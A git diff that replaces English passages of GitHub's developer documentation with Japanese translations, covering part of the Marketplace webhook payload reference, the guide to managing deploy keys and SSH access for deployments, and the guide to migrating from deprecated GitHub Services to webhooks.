+| `yearly_price_in_cents`  | `integer`          | このプランのセント (米国の通貨) 単位の年額。 たとえば、月額100米ドルのリストは10000セントです。 |
+| `price_model`            | `string`           | このリストの価格モデル。 `flat-rate`、`per-unit`、`free`のいずれかです。     |
+| `has_free_trial`         | `boolean`          | このリストが無料トライアルを提供する場合は`true`になります。                      |
+| `unit_name`              | `string`           | ユニットの名前。 価格モデルが`per-unit`でない場合、これは`nil`になります。          |
+| `bullet`                 | `array of strings` | 価格プランに設定されている箇条書きの名前。                                  |
 
 <br/>
 
-### Example webhook payload for a `purchased` event
-This example provides the `purchased` event payload.
+### `purchased`イベントのサンプルwebhookペイロード
+次の例は、`purchased`イベントのペイロードを示しています。
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
 
-### Example webhook payload for a `changed` event
+### `changed`イベントのサンプルwebhookペイロード
 
-Changes in a plan include upgrades and downgrades. This example represents the `changed`,`pending_change`, and `pending_change_cancelled` event payloads. The action identifies which of these three events has occurred.
+プランの変更には、アップグレードとダウンロードがあります。 この例は、`changed`、`pending_change`、および`pending_change_cancelled`イベントのペイロードを表しています。 このアクションは、これら3つのイベントのうちどれが発生したかを示します。
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.changed }}
 
-### Example webhook payload for a `cancelled` event
+### `cancelled`イベントのサンプルwebhookペイロード
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.cancelled }}
diff --git a/translations/ja-JP/content/developers/overview/managing-deploy-keys.md b/translations/ja-JP/content/developers/overview/managing-deploy-keys.md
index 6d51247d42..1d716adaf7 100644
--- a/translations/ja-JP/content/developers/overview/managing-deploy-keys.md
+++ b/translations/ja-JP/content/developers/overview/managing-deploy-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Managing deploy keys
-intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you.
+title: デプロイキーの管理
+intro: デプロイメントのスクリプトを自動化する際にサーバー上のSSHキーを管理する様々な方法と、どれが最適な方法かを学んでください。
 redirect_from:
   - /guides/managing-deploy-keys
   - /v3/guides/managing-deploy-keys
@@ -14,85 +14,84 @@ topics:
 ---
 
 
-You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users.
+SSHエージェントのフォワーディング、OAuthトークンでのHTTPS、デプロイキー、マシンユーザを使ってデプロイメントスクリプトを自動化する際に、サーバー上のSSHキーを管理できます。
 
-## SSH agent forwarding
+## SSHエージェントのフォワーディング
 
-In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses.
+多くの場合、特にプロジェクトの開始時には、SSHエージェントのフォワーディングが最も素早くシンプルに使える方法です。 エージェントのフォワーディングでは、ローカルの開発コンピュータで使うのと同じSSHキーを使います。
 
-#### Pros
+#### 長所
 
-* You do not have to generate or keep track of any new keys.
-* There is no key management; users have the same permissions on the server that they do locally.
-* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys.
+* 新しいキーを生成したり追跡したりしなくていい。
+* キーの管理は不要。ユーザはローカルと同じ権限をサーバーでも持つ。
+* サーバーにキーは保存されないので、サーバーが侵害を受けた場合でも、侵害されたキーを追跡して削除する必要はない。
 
-#### Cons
+#### 短所
 
-* Users **must** SSH in to deploy; automated deploy processes can't be used.
-* SSH agent forwarding can be troublesome to run for Windows users.
+* ユーザはデプロイするためにSSH**しなければならない**。自動化されたデプロイプロセスは利用できない。
+* SSHエージェントのフォワーディングは、Windowsのユーザが実行するのが面倒。
 
-#### Setup
+#### セットアップ
 
-1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information.
-2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: 
-`ssh -A serverA 'bash -s' < deploy.sh`
+1. エージェントのフォワーディングをローカルでオンにしてください。 詳しい情報については[SSHエージェントフォワーディングのガイド][ssh-agent-forwarding]を参照してください。
+2. エージェントフォワーディングを使用するように、デプロイスクリプトを設定してください。 たとえばbashのスクリプトでは、以下のようにしてエージェントのフォワーディングを有効化することになるでしょう。 `ssh -A serverA 'bash -s' < deploy.sh`
 
-## HTTPS cloning with OAuth tokens
+## OAuthトークンを使ったHTTPSでのクローニング
 
-If you don't want to use SSH keys, you can use [HTTPS with OAuth tokens][git-automation].
+SSHキーを使いたくないなら、[OAuthトークンでHTTPS][git-automation]を利用できます。
 
-#### Pros
+#### 長所
 
-* Anyone with access to the server can deploy the repository.
-* Users don't have to change their local SSH settings.
-* Multiple tokens (one for each user) are not needed; one token per server is enough.
-* A token can be revoked at any time, turning it essentially into a one-use password.
+* サーバーにアクセスできる人なら、リポジトリをデプロイできる。
+* ユーザはローカルのSSH設定を変更する必要がない。
+* 複数のトークン（ユーザごと）が必要ない。サーバーごとに1つのトークンで十分。
+* トークンはいつでも取り消しできるので、本質的には使い捨てのパスワードにすることができる。
 {% ifversion ghes %}
-* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization).
+* 新しいトークンの作成は、[OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization)を使って容易にスクリプト化できる。
 {% endif %}
 
-#### Cons
+#### 短所
 
-* You must make sure that you configure your token with the correct access scopes.
-* Tokens are essentially passwords, and must be protected the same way.
+* トークンを確実に正しいアクセススコープで設定しなければならない。
+* トークンは本質的にはパスワードであり、パスワードと同じように保護しなければならない。
 
-#### Setup
+#### セットアップ
 
-See [our guide on Git automation with tokens][git-automation].
+[トークンでのGit自動化ガイド][git-automation]を参照してください。
 
-## Deploy keys
+## デプロイキー
 
 {% data reusables.repositories.deploy-keys %}
 
 {% data reusables.repositories.deploy-keys-write-access %}
 
-#### Pros
+#### 長所
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* Users don't have to change their local SSH settings.
-* Deploy keys are read-only by default, but you can give them write access when adding them to a repository.
+* リポジトリとサーバーにアクセスできる人は、誰でもプロジェクトをデプロイできる。
+* ユーザはローカルのSSH設定を変更する必要がない。
+* デプロイキーはデフォルトではリードオンリーだが、リポジトリに追加する際には書き込みアクセス権を与えることができる。
 
-#### Cons
+#### 短所
 
-* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server.
-* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised.
+* デプロイキーは単一のリポジトリに対するアクセスだけを許可できる。 より複雑なプロジェクトは、同じサーバーからプルする多くのリポジトリを持っていることがある。
+* デプロイキーは通常パスフレーズで保護されていないので、サーバーが侵害されると簡単にキーにアクセスされることになる。
 
-#### Setup
+#### セットアップ
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public/private rsa key pair.
-2. In the upper-right corner of any {% data variables.product.product_name %} page, click your profile photo, then click **Your profile**. ![Navigation to profile](/assets/images/profile-page.png)
-3. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png)
-4. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png)
-5. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png)
-6. Provide a title, paste in your public key.  ![Deploy Key page](/assets/images/deploy-key.png)
-7. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository.
-8. Click **Add key**.
+1. サーバー上で[`ssh-keygen`の手順を実行][generating-ssh-keys]し、生成された公開／秘密RSAキーのペアを保存した場所を覚えておいてください。
+2. {% data variables.product.product_name %}の任意のページの右上で、プロフィールの写真をクリックし、続いて**Your profile（あなたのプロフィール）**をクリックしてください。 ![プロフィールへのアクセス](/assets/images/profile-page.png)
+3. プロフィールページで**Repositories（リポジトリ）**をクリックし、続いてリポジトリの名前をクリックしてください。 ![リポジトリのリンク](/assets/images/repos.png)
+4. リポジトリで**Settings（設定）**をクリックしてください。 ![リポジトリの設定](/assets/images/repo-settings.png)
+5. サイドバーで**Deploy Keys（デプロイキー）**をクリックし、続いて**Add deploy key（デプロイキーの追加）**をクリックしてください。 ![デプロイキーのリンクの追加](/assets/images/add-deploy-key.png)
+6. タイトルを入力し、公開鍵に貼り付けてください。  ![デプロイキーのページ](/assets/images/deploy-key.png)
+7. このキーにリポジトリへの書き込みアクセスを許可したい場合は、**Allow write access（書き込みアクセスの許可）**を選択してください。 書き込みアクセス権を持つデプロイキーを使うと、リポジトリにデプロイメントのプッシュができるようになります。
+8. **Add key（キーの追加）**をクリックしてください。
 
-#### Using multiple repositories on one server
+#### 1つのサーバー上で複数のリポジトリを利用する
 
-If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories.
+1つのサーバー上で複数のリポジトリを使うなら、それぞれのリポジトリに対して専用のキーペアを生成しなければなりません。 複数のリポジトリでデプロイキーを再利用することはできません。
 
-In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example:
+サーバーのSSH設定ファイル(通常は`~/.ssh/config`)に、それぞれのリポジトリに対してエイリアスエントリを追加してください。 例:
 
 ```bash
 Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0
@@ -104,88 +103,89 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif
         IdentityFile=/home/user/.ssh/repo-1_deploy_key
 ```
 
-* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias.
-* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias.
-* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias.
+* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - リポジトリのエイリアス。
+* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - エイリアスで使用するホスト名を設定する。
+* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - このエイリアスに秘密鍵を割り当てる。
 
-You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example:
+こうすれば、ホスト名のエイリアスを使ってSSHでリポジトリとやりとりできます。この場合、このエイリアスに割り当てられたユニークなデプロイキーが使われます。 例:
 
 ```bash
 $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git
 ```
 
-## Server-to-server tokens
+## サーバー間トークン
 
-If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. 
+サーバーがOrganizationをまたいでリポジトリにアクセスする必要がある場合、GitHub Appで必要なアクセスを定義して、そのGitHub Appから_スコープを厳格に設定した_、_サーバー対サーバー_のトークンを生成します。 サーバー対サーバーのトークンは単一または複数のリポジトリをスコープとすることができ、権限を細かく設定できます。 たとえば、リポジトリのコンテンツへの読み取り専用アクセス権を持つトークンを生成できます。
 
-Since GitHub Apps are a first class actor on  {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for Github Apps](/developers/apps/rate-limits-for-github-apps).
+GitHub Appは{% data variables.product.product_name %}でも主役級の存在なので、サーバー間トークンはあらゆるGitHubユーザから分離され、「サービストークン」に相当します。 さらに、サーバー間トークンには独自のレート制限があり、その制限は実行されるOrganizationの規模に応じて拡大されます。 詳しい情報については、「[Github Appsのレート制限](/developers/apps/rate-limits-for-github-apps)」を参照してください。
 
-#### Pros
+#### 長所
 
-- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API).
-- Dedicated rate limits that grow with your organization.
-- Decoupled from GitHub user identities, so they do not consume any licensed seats.
-- Never granted a password, so cannot be directly signed in to.
+- 権限設定と有効期限 (1時間、またはAPIで手動で取り消された場合にはそれ以下) が明確に定義された、スコープが厳格なトークン。
+- Organizationの規模に従って拡大する、独自のレート制限。
+- GitHubユーザIDと分離されているため、ライセンスのシート数を消費しない。
+- パスワードが付与されないので、直接サインインされない。
 
-#### Cons
+#### 短所
 
-- Additional setup is needed to create the GitHub App.
-- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code.
+- GitHub Appを作成するには追加設定が必要。
+- サーバー間トークンは1時間後に期限切れとなるので、再生成する必要がある (通常はコードを使用して、オンデマンドで行なう)。
 
-#### Setup
+#### セットアップ
 
-1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private.
-1. Determine the permissions your GitHub App requires, such as read-only access to repository contents.
-1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app).
-1. Note your GitHub App `id`.
-1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key).
-1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization.
-1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access.  Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app).
-1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation).
-1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client.
+1. GitHub Appをパブリックにするかプライベートにするか決定します。 GitHub AppがOrganization内のリポジトリのみで動作する場合は、プライベートに設定した方がいいでしょう。
+1. リポジトリのコンテンツへの読み取り専用アクセスなど、GitHub Appが必要とする権限を決定します。
+1. Organizationの設定ページからGitHub Appを作成します。 詳しい情報については、「[GitHub Appを作成する](/developers/apps/creating-a-github-app)」を参照してください。
+1. GitHub App `id`をメモします。
+1. GitHub Appの秘密鍵を生成してダウンロードし、安全な方法で保存します。 詳しい情報については、[秘密鍵を生成する](/developers/apps/authenticating-with-github-apps#generating-a-private-key)を参照してください。
+1. 動作させたいリポジトリにGitHubをインストールします。Organizationの全リポジトリにGitHub Appをインストールしても構いません。
+1. GitHub AppとOrganizationリポジトリとの接続を表わす`installation_id`を特定します。  GitHub AppとOrganizationの各ペアには、最大1つの`installation_id`があります。 [認証されたアプリケーションのOrganizationインストール情報を取得する](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app)ことで、`installation_id`を識別できます。 このためには、JWTを使用して、GitHub Appとして認証する必要があります。詳細については、「[GitHub Appとして認証する](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)」を参照してください。
+1. 対応するREST APIエンドポイントを使用して、サーバー間トークンを生成します。「[アプリケーションに対するインストールアクセストークンの作成](/rest/reference/apps#create-an-installation-access-token-for-an-app)」を参照してください。 このためには、JWTを使用してGitHub Appとして認証する必要があります。詳しい情報については、「[GitHub App として認証する](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)」および「[インストールとして認証を行う](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)」を参照してください。
+1. このサーバー間トークンを使用して、REST、GraphQL API、またはGitクライアント経由でリポジトリとやり取りします。
 
-## Machine users
+## マシンユーザ
 
-If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team).
+サーバーが複数のリポジトリにアクセスする必要がある場合、新しいアカウントを{% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}で作成し、自動化専用に使われるSSHキーを添付できます。 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}のこのアカウントは人間によって使用されるものではないため、_マシンユーザ_と呼ばれます。 マシンユーザは、個人リポジトリには[コラボレータ][collaborator]として（読み書きのアクセスを許可）、Organizationのリポジトリには[外部のコラボレータ][outside-collaborator]として（読み書き及び管理アクセスを許可）、あるいは自動化する必要があるリポジトリへのアクセスを持つ[Team][team]に（そのTeamの権限を許可）追加できます。
 
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Tip:** Our [terms of service][tos] state:
+**Tip:** [利用規約][tos]では以下のように述べられています。
 
-> *Accounts registered by "bots" or other automated methods are not permitted.*
+> *「ボット」またはその他の自動化された手段で「アカウント」を登録することは許可されていません。*
 
-This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool.
+これは、アカウントの生成を自動化することはできないということです。 しかし、プロジェクトやOrganization内でデプロイスクリプトのような自動化タスクのために1つのマシンユーザを作成したいなら、それはまったく素晴らしいことです。
 
 {% endtip %}
 
 {% endif %}
 
-#### Pros
+#### 長所
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* No (human) users need to change their local SSH settings.
-* Multiple keys are not needed; one per server is adequate.
+* リポジトリとサーバーにアクセスできる人は、誰でもプロジェクトをデプロイできる。
+* （人間の）ユーザがローカルのSSH設定を変更する必要がない。
+* 複数のキーは必要ない。サーバーごとに1つでよい。
 
-#### Cons
+#### 短所
 
-* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access.
-* Machine user keys, like deploy keys, are usually not protected by a passphrase.
+* Organizationだけがマシンユーザをリードオンリーのアクセスにできる。 個人リポジトリは、常にコラボレータの読み書きアクセスを許可する。
+* マシンユーザのキーは、デプロイキーのように、通常パスフレーズで保護されない。
 
-#### Setup
+#### セットアップ
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account.
-2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization.
+1. サーバー上で[`ssh-keygen`の手順を実行][generating-ssh-keys]し、公開鍵をマシンユーザアカウントに添付してください。
+2. マシンユーザアカウントに自動化したいリポジトリへのアクセスを付与してください。 これは、アカウントを[コラボレータ][collaborator]、[外部のコラボレータ][outside-collaborator]として、あるいはOrganization内の[Team][team]に追加することでも行えます。
+
+## 参考リンク
+- [通知を設定する](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
 
 [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/
 [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key
 [tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/
 [git-automation]: /articles/git-automation-with-oauth-tokens
+[git-automation]: /articles/git-automation-with-oauth-tokens
 [collaborator]: /articles/inviting-collaborators-to-a-personal-repository
 [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization
 [team]: /articles/adding-organization-members-to-a-team
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
-
diff --git a/translations/ja-JP/content/developers/overview/replacing-github-services.md b/translations/ja-JP/content/developers/overview/replacing-github-services.md
index 7e39883b4a..ef9fda4c42 100644
--- a/translations/ja-JP/content/developers/overview/replacing-github-services.md
+++ b/translations/ja-JP/content/developers/overview/replacing-github-services.md
@@ -1,6 +1,6 @@
 ---
-title: Replacing GitHub Services
-intro: 'If you''re still relying on the deprecated {% data variables.product.prodname_dotcom %} Services, learn how to migrate your service hooks to webhooks.'
+title: GitHub Servicesの置き換え
+intro: '非推奨となった{% data variables.product.prodname_dotcom %} Servicesにまだ依存しているなら、サービスフックをwebhookに移行する方法を学んでください。'
 redirect_from:
   - /guides/replacing-github-services
   - /v3/guides/automating-deployments-to-integrators
@@ -14,61 +14,61 @@ topics:
 ---
 
 
-We have deprecated GitHub Services in favor of integrating with webhooks. This guide helps you transition to webhooks from GitHub Services. For more information on this announcement, see the [blog post](https://developer.github.com/changes/2018-10-01-denying-new-github-services).
+GitHub Servicesは、webhookとの統合を進めるために非推奨となりました。 このガイドは、GitHub Servicesからwebhookへの移行を支援します。 このアナウンスに関する詳細については、[ブログポスト](https://developer.github.com/changes/2018-10-01-denying-new-github-services)を参照してください。
 
 {% note %}
 
-As an alternative to the email service, you can now start using email notifications for pushes to your repository. See "[About email notifications for pushes to your repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)" to learn how to configure commit email notifications.
+メールサービスに代わるものとして、リポジトリへのプッシュに対するメール通知を利用しはじめられるようになりました。 コミットメール通知の設定方法については、「[リポジトリへのプッシュに対するメール通知について](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)」を参照してください。
 
 {% endnote %}
 
-## Deprecation timeline
+## 非推奨のタイムライン
 
-- **October 1, 2018**: GitHub discontinued allowing users to install services. We removed GitHub Services from the GitHub.com user interface.
-- **January 29, 2019**: As an alternative to the email service, you can now start using email notifications for pushes to your repository. See "[About email notifications for pushes to your repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)" to learn how to configure commit email notifications.
-- **January 31, 2019**: GitHub will stop delivering installed services' events on GitHub.com.
+- **2018年10月1日**: GitHubはユーザがサービスをインストールするのを禁止しました。 GitHub.comのユーザインターフェースから、GitHub Servicesを削除しました。
+- **2019年1月29日**: メールサービスの代替として、リポジトリへのプッシュに対するメール通知を使い始められるようになりました。 コミットメール通知の設定方法については、「[リポジトリへのプッシュに対するメール通知について](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)」を参照してください。
+- **2019年1月31日**: GitHubはGitHub.com上でのインストールされたサービスのイベント配信を停止しました。
 
-## GitHub Services background
+## GitHub Servicesの背景
 
-GitHub Services (sometimes referred to as Service Hooks) is the legacy method of integrating where GitHub hosted a portion of our integrator’s services via [the `github-services` repository](https://github.com/github/github-services). Actions performed on GitHub trigger these services, and you can use these services to trigger actions outside of GitHub.
+GitHub Services（Service Hooksと呼ばれることもあります）は、インテグレーションの旧来の方法であり、GitHubがインテグレーターのサービスの一部を[`github-services`リポジトリ](https://github.com/github/github-services)を通じてホストします。 GitHub上で行われたアクションがこれらのサービスをトリガーし、これらのサービスを使ってGitHubの外部のアクションをトリガーできます。
 
 {% ifversion ghes or ghae %}
-## Finding repositories that use GitHub Services
-We provide a command-line script that helps you identify which repositories on your appliance use GitHub Services. For more information, see [ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report).{% endif %}
+## GitHub Servicesを使っているリポジトリを探す
+アプライアンス上でどのリポジトリがGitHub Servicesを使っているかを特定するためのコマンドラインスクリプトが提供されています。 詳しい情報については[ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report)を参照してください。{% endif %}
 
-## GitHub Services vs. webhooks
+## GitHub Servicesとwebhook
 
-The key differences between GitHub Services and webhooks:
-- **Configuration**: GitHub Services have service-specific configuration options, while webhooks are simply configured by specifying a URL and a set of events.
-- **Custom logic**: GitHub Services can have custom logic to respond with multiple actions as part of processing a single event, while webhooks have no custom logic.
-- **Types of requests**: GitHub Services can make HTTP and non-HTTP requests, while webhooks can make HTTP requests only.
+GitHub Servicesとwebhookとの主な違いは以下のとおりです。
+- **設定**: GitHub Servicesにはサービス固有の設定オプションがありますが、webhookはURLとイベント群を指定するだけで単純に設定できます。
+- **カスタムロジック**: GitHub Servicesは1つのイベントの処理の一部として、複数のアクションで反応するカスタムロジックを持つことができますが、webhookにはカスタムロジックはありません。
+- **リクエストの種類**: GitHub ServicesはHTTP及び非HTTPリクエストを発行できますが、webhookが発行できるのはHTTPリクエストのみです。
 
-## Replacing Services with webhooks
+## webhookでのServicesの置き換え
 
-To replace GitHub Services with Webhooks:
+GitHub Servicesをwebhookで置き換えるには、以下のようにします。
 
-1. Identify the relevant webhook events you’ll need to subscribe to from [this list](/webhooks/#events).
+1. [このリスト](/webhooks/#events)から、サブスクライブする必要がある関連webhookイベントを特定してください。
 
-2. Change your configuration depending on how you currently use GitHub Services:
+2. GitHub Servicesを現在使っている方法に応じて、設定を変更してください。
 
-   - **GitHub Apps**: Update your app's permissions and subscribed events to configure your app to receive the relevant webhook events.
-   - **OAuth Apps**: Request either the `repo_hook` and/or `org_hook` scope(s) to manage the relevant events on behalf of users.
-   - **GitHub Service providers**: Request that users manually configure a webhook with the relevant events sent to you, or take this opportunity to build an app to manage this functionality. For more information, see "[About apps](/apps/about-apps/)."
+   - **GitHub Apps**: アプリケーションの権限とサブスクライブしているイベントを更新し、関連するwebhookイベントを受信するようにアプリケーションを設定してください。
+   - **OAuth Apps**: `repo_hook`や`org_hook`スコープをリクエストして、ユーザの代わりに関連するイベントを管理してください。
+   - **GitHub Serviceプロバイダー**: ユーザが手動で、送信された関連するイベントとあわせてwebhookを設定するように要求するか、この機会にこの機能を管理するアプリケーションを構築してください。 詳しい情報については「[アプリケーションについて](/apps/about-apps/)」を参照してください。
 
-3. Move additional configuration from outside of GitHub. Some GitHub Services require additional, custom configuration on the configuration page within GitHub. If your service does this, you will need to move this functionality into your application or rely on GitHub or OAuth Apps where applicable.
+3. GitHubの外部から、追加の設定を移動してください。 GitHub Servicesの中には、GitHub内の設定ページで追加のカスタム設定が必要になるものがあります。 使っているサービスがそうなら、この機能をアプリケーションに移すか、可能な場合はGitHub AppもしくはOAuth Appに依存する必要があります。
 
-## Supporting {% data variables.product.prodname_ghe_server %}
+## {% data variables.product.prodname_ghe_server %}のサポート
 
-- **{% data variables.product.prodname_ghe_server %} 2.17**: {% data variables.product.prodname_ghe_server %} release 2.17 and higher will discontinue allowing admins to install services. Admins will continue to be able to modify existing service hooks and receive service hooks in {% data variables.product.prodname_ghe_server %} release 2.17 through 2.19. As an alternative to the email service, you will be able to use email notifications for pushes to your repository in {% data variables.product.prodname_ghe_server %} 2.17 and higher. See [this blog post](https://developer.github.com/changes/2019-01-29-life-after-github-services) to learn more.
-- **{% data variables.product.prodname_ghe_server %} 2.20**: {% data variables.product.prodname_ghe_server %} release 2.20 and higher will stop delivering all installed services' events.
+- **{% data variables.product.prodname_ghe_server %} 2.17**: {% data variables.product.prodname_ghe_server %} リリース2.17以降では、管理者がサービスをインストールできなくなります。 {% data variables.product.prodname_ghe_server %}リリース2.17から2.19では、管理者は引き続き既存のサービスフックを変更し、サービスフックを受信できます。 {% data variables.product.prodname_ghe_server %} 2.17以降では、メールサービスの代替としてリポジトリへのプッシュに対するメール通知が使えます。 詳細については[このブログポスト](https://developer.github.com/changes/2019-01-29-life-after-github-services)を参照してください。
+- **{% data variables.product.prodname_ghe_server %} 2.20**: {% data variables.product.prodname_ghe_server %}リリース2.20以降では、インストールされたすべてのサービスイベントの配信が停止されます。
 
-The {% data variables.product.prodname_ghe_server %} 2.17 release will be the first release that does not allow admins to install GitHub Services. We will only support existing GitHub Services until the {% data variables.product.prodname_ghe_server %} 2.20 release. We will also accept any critical patches for your GitHub Service running on {% data variables.product.prodname_ghe_server %} until October 1, 2019.
+{% data variables.product.prodname_ghe_server %} 2.17リリースは、管理者がGitHub Servicesをインストールできない最初のリリースになります。 既存のGitHub Servicesは、{% data variables.product.prodname_ghe_server %} 2.20リリースまでしかサポートされません。 また、2019年10月1日まで{% data variables.product.prodname_ghe_server %}上で動作しているGitHub Serviceに対する重要なパッチを受け付けます。
 
-## Migrating with our help
+## 弊社の支援を受けての移行
 
-Please [contact us](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation) with any questions.
+質問があれば、[お問い合わせ](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation)ください。
 
-As a high-level overview, the process of migration typically involves:
-  - Identifying how and where your product is using GitHub Services.
-  - Identifying the corresponding webhook events you need to configure in order to move to plain webhooks.
-  - Implementing the design using either [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) or [{% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) are preferred. To learn more about why {% data variables.product.prodname_github_apps %} are preferred, see "[Reasons for switching to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps)."
+高レベルの概要としては、移行のプロセスは通常以下を含みます。
+  - 製品がどこでどのようにGitHub Servicesを使っているかの特定。
+  - 通常のwebhookに移行するために設定する必要がある、対応するwebhookイベントの特定。
